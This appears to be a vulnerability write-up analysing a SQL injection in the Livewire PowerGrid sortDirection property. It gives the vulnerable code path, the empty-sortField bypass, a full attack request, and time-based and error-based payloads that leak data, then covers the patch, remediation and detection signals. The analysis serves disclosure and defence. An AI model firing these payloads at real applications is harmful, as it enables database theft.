August 6, 2026
CVE-2026–65971: A Complete Walkthrough of the Livewire PowerGrid sortDirection SQL Injection
1. The attack surface — a public Livewire property is user input
By Guidancewhite
6 min read
1. The attack surface — a public Livewire property is user input
In Livewire, any public property on a component is a field the client can write to directly through a POST /livewire/update request. That's not a bug — it's how Livewire is designed to work.
// src/Concerns/Sorting.php
public string $sortField = 'id'; // line 11
public string $sortDirection = 'asc'; // line 13// src/Concerns/Sorting.php
public string $sortField = 'id'; // line 11
public string $sortDirection = 'asc'; // line 13Neither property is declared with a whitelist or validation rule. The only code that touches sortDirection directly is this:
public function reverseSort(): string // line 37
{
return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}public function reverseSort(): string // line 37
{
return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}There's a hook, updatedSortDirection() (line 103), that would be the natural place to validate it — but in the vulnerable version it only handles lazy-loading concerns and never inspects the value itself. The result: sortDirection is a fully attacker-controlled arbitrary string.
2. The vulnerable sink — the placeholder naturalSort() plants
naturalSort() is PowerGrid's column macro for sorting strings the way humans expect numbers to sort.
// src/Providers/Macros.php, 102-116
Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column {
$this->enableSort();
if ($when) {
$this->rawQueries[] = [
'method' => 'orderByRaw', // ← raw sink
'sql' => Sql::sortStringAsNumber($this->dataField),
'bindings' => [],
];
}
return $this;
});// src/Providers/Macros.php, 102-116
Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column {
$this->enableSort();
if ($when) {
$this->rawQueries[] = [
'method' => 'orderByRaw', // ← raw sink
'sql' => Sql::sortStringAsNumber($this->dataField),
'bindings' => [],
];
}
return $this;
});The generated SQL string differs slightly per database driver, but every branch ends in the same literal placeholder (src/DataSource/Support/Sql.php, lines 60-100):
$default = "$sortField+0 {sortDirection}"; // line 76
'8.0.4' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}", // MySQL
'0' => "CAST($sortField AS INTEGER) {sortDirection}", // SQLite$default = "$sortField+0 {sortDirection}"; // line 76
'8.0.4' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}", // MySQL
'0' => "CAST($sortField AS INTEGER) {sortDirection}", // SQLiteWhich means this bug is database-driver independent — it doesn't matter whether the app runs on MySQL, PostgreSQL, or SQLite.
The point where that placeholder actually gets swapped for a real value is the true sink:
// src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php
private function resolvePlaceholders(?string $sql): ?string // line 56
{
if (is_null($sql)) {
return null;
}
return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
$property = trim($matches[1]);
return data_get($this->component, $property, ''); // line 65 — no escaping
}, $sql);
}// src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php
private function resolvePlaceholders(?string $sql): ?string // line 56
{
if (is_null($sql)) {
return null;
}
return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
$property = trim($matches[1]);
return data_get($this->component, $property, ''); // line 65 — no escaping
}, $sql);
}…and executed on the very next line:
$query->{$method}($resolvedSql, $resolvedBindings); // $method === 'orderByRaw'$query->{$method}($resolvedSql, $resolvedBindings); // $method === 'orderByRaw'data_get($this->component, 'sortDirection') returns the attacker's raw string, preg_replace_callback splices it into the SQL text, and it's handed to orderByRaw() — a function whose contract explicitly assumes the caller already sanitized the input.
Notably, the very same class has a safe parameter-binding path, resolveBindings(), two lines below. naturalSort simply never uses it ('bindings' => []) — and to be fair, ORDER BY direction keywords like asc/desc sit in a SQL position where parameter binding isn't syntactically valid in the first place. A whitelist was really the only correct answer here.
The full taint chain
POST /livewire/update
→ public string $sortDirection (Sorting.php:13, unvalidated)
→ data_get($component, 'sortDirection') (ColumnRawQueries.php:65)
→ "CAST(...) {sortDirection}" → "CAST(...) asc, (SELECT SLEEP(3))"
→ orderByRaw($sql) (ColumnRawQueries.php:52)
→ MySQL / MariaDB / PgSQL / SQLite / MSSQLPOST /livewire/update
→ public string $sortDirection (Sorting.php:13, unvalidated)
→ data_get($component, 'sortDirection') (ColumnRawQueries.php:65)
→ "CAST(...) {sortDirection}" → "CAST(...) asc, (SELECT SLEEP(3))"
→ orderByRaw($sql) (ColumnRawQueries.php:52)
→ MySQL / MariaDB / PgSQL / SQLite / MSSQL
Diagram walkthrough: this shows the three-stage path attacker input travels to reach the database. Stage 1 (light blue) is where the unvalidated $sortDirection property is declared. Stage 2 is where that value gets embedded as a placeholder inside a raw SQL string. Stage 3 (dark navy, the vulnerable point) is where the placeholder is substituted with the real, unescaped value and handed to orderByRaw(). The arrows trace the exact direction the attacker's data flows.
3. The interesting part — how Laravel's own validation got bypassed
Stopping the analysis here would make this just another "raw SQL, no escaping" story. What makes this CVE worth a deeper look is that Laravel's built-in defense was already present — and it still got sidestepped.
PowerGrid processes queries through a pipeline, and two stages touch sort direction:
① The Sorting pipeline — src/DataSource/Processors/Database/Pipelines/Sorting.php
public function handle(mixed $query, Closure $next): mixed
{
if (filled($this->component->sortField)) { // line 21 ← this is the crux
if ($this->component->multiSort) {
$this->applyMultipleSort($query);
} else {
$this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
}
}
return $next($query);
}
private function applySingleSort(..., string $sortField, string $direction): void
{
$query->orderBy($this->component->resolveSortField($sortField), $direction); // line 42
}public function handle(mixed $query, Closure $next): mixed
{
if (filled($this->component->sortField)) { // line 21 ← this is the crux
if ($this->component->multiSort) {
$this->applyMultipleSort($query);
} else {
$this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
}
}
return $next($query);
}
private function applySingleSort(..., string $sortField, string $direction): void
{
$query->orderBy($this->component->resolveSortField($sortField), $direction); // line 42
}orderBy() is Laravel's validating API. Feed it anything other than asc/desc and it throws immediately:
InvalidArgumentException: Order direction must be "asc" or "desc".InvalidArgumentException: Order direction must be "asc" or "desc".In normal usage — a user clicks a column header, sending sortField=name and sortDirection=<payload> — this exception blocks the attack. At this point it would be easy to conclude "Laravel already mitigates this."
② The ColumnRawQueries pipeline — the second stage from earlier never references that validation at all. Its handle() unconditionally applies the raw query for any column configured with naturalSort, regardless of what sortField holds.
That asymmetry is the entire bug.
sortField valueSorting pipelineColumnRawQueries pipelineResult"name" (non-empty)Runs → orderBy() validates → throws on payloadRuns → injects❌ Blocked by exception"" (empty string)filled('') is false → skipped entirelyRuns → injects✅ Injection succeeds
Setting sortField to an empty string causes the validating pipeline to skip itself. Meanwhile the raw pipeline still builds naturalSort's ORDER BY clause. Laravel's validation code is never invoked — it's not bypassed so much as the code path that contains it simply never executes.
The real attack, then, isn't a single field — it's a combination of two: sortDirection carries the payload, and sortField="" is the key that opens the door.
Diagram walkthrough: this shows the branching logic that decides which of two pipelines runs, based on the value of sortField. The left path (light blue) is the safe route taken when sortField is non-empty — orderBy()'s validation throws an exception and the attack is blocked. The right path (dark navy) is the route taken when sortField is empty — the validating pipeline is skipped, only the raw query pipeline runs, and injection succeeds. The payload box at the bottom shows the actual combination of both field values sent to the server.
4. The actual attack request
Every attack goes through Livewire's standard update endpoint. No special headers, custom routes, or admin functionality required.
Endpoint: POST /livewire/update
{
"_token": "<CSRF token scraped from the page>",
"components": [
{
"snapshot": "<wire:snapshot from the PowerGrid component>",
"updates": {
"sortField": "",
"sortDirection": "asc, (SELECT SLEEP(3))"
},
"calls": []
}
]
}{
"_token": "<CSRF token scraped from the page>",
"components": [
{
"snapshot": "<wire:snapshot from the PowerGrid component>",
"updates": {
"sortField": "",
"sortDirection": "asc, (SELECT SLEEP(3))"
},
"calls": []
}
]
}FieldRoleValueupdates.sortDirectionInjection pointSQL payload, prefixed with a valid direction keyword to keep the clause syntactically validupdates.sortFieldBypass key"" — the empty string that skips the validating pipelinesnapshotPlumbingScraped from the rendered wire:snapshot="..." attribute_tokenPlumbingScraped from data-csrf="..." or the page's CSRF blob
The SQL actually produced (from a MariaDB lab environment):
select * from `rooms`
order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3))
limit 3 offset 0select * from `rooms`
order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3))
limit 3 offset 05. Proof — two independent verification techniques
Error-based proof
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
(select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
(select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0This returns an HTTP 500 with a SQLSTATE[HY000] 1105 error, and the error message itself leaks the result of the injected subquery directly.
Blind time-based oracle
RequestResponse timeMeaningasc0.02sBaselineasc, (SELECT SLEEP(3))9.04sConfirms injection executesasc, (SELECT SLEEP(3) WHERE secret LIKE 'TOPSECRET%')9.03sTRUE — value matchesasc, (SELECT SLEEP(3) WHERE secret LIKE 'ZZZ%')0.02sFALSE — confirms oracle accuracy
The clean TRUE/FALSE separation is what proves this isn't just "the response got slow" — it's a working oracle that can exfiltrate arbitrary data character by character. (The 9-second delay for a 3-second SLEEP() happens because sorting applies the sleeping expression per row — if anything, this makes the signal stronger, not weaker.)
6. Patch analysis (v6.10.4)
The maintainer applied defense in depth across four separate locations. The core function:
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
$direction = strtolower(trim((string) $direction));
return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
$direction = strtolower(trim((string) $direction));
return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}Not a blacklist, not a regex filter — a strict whitelist with a safe default. For a keyword that can never be passed as a bound parameter, this is really the only correct approach.
Applied at four points:
ColumnRawQueries::resolvePlaceholders()— the sink itself.{sortDirection}is now sanitized before substitutionConcerns\Sorting::updatedSortDirection()— sanitizes the moment the Livewire hook writes the valueConcerns\Sorting::sortBy()— sanitizes direction values passed as arguments tooPipelines\Sorting::applySingleSort()/applyMultipleSort()— covers customsortUsingcallbacks as well (a second related path the maintainer closed beyond the original report's scope)
Cloning the v6.10.4 tag directly and checking every raw direction sink confirms the fix: the test suite passes (30/30), and fuzzing sanitizeSortDirection() with 17 payloads (time-based payloads, null bytes, SQL comments, hex literals, mixed case, whitespace padding, unicode) all converge to either asc or desc. Patch verified.
7. Remediation
Upgrading is the only real fix.
composer require power-components/livewire-powergrid:^6.10.4
composer auditcomposer require power-components/livewire-powergrid:^6.10.4
composer auditIf an immediate upgrade isn't possible, a stopgap:
public function updatedSortDirection(): void
{
$this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
? strtolower(trim($this->sortDirection))
: 'asc';
}public function updatedSortDirection(): void
{
$this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
? strtolower(trim($this->sortDirection))
: 'asc';
}Checking exposure
grep -rn "naturalSort" app/ resources/grep -rn "naturalSort" app/ resources/If no columns use naturalSort, the primary raw ORDER BY path is never registered, so the main attack vector is unreachable. Note, though, that v6.10.4 also hardened the sortUsing callback path — so a custom sort callback that builds raw SQL directly could still be exposed regardless of naturalSort usage.
Detection signals
sortDirectionvalues inPOST /livewire/updatebodies that aren'tasc/desc(case-insensitive) — very low false-positive rate- The same request carrying an empty
sortFieldalongside a meaningfulsortDirection— the exact bypass signature - Values containing SQL keywords like
SELECT,SLEEP,BENCHMARK,extractvalue,updatexml,0x - Application error logs showing
SQLSTATE[HY000] 1105/SQLSTATE[42000]alongside anorder byreference - A bimodal response-time distribution across otherwise-identical requests — a sign a blind oracle is being walked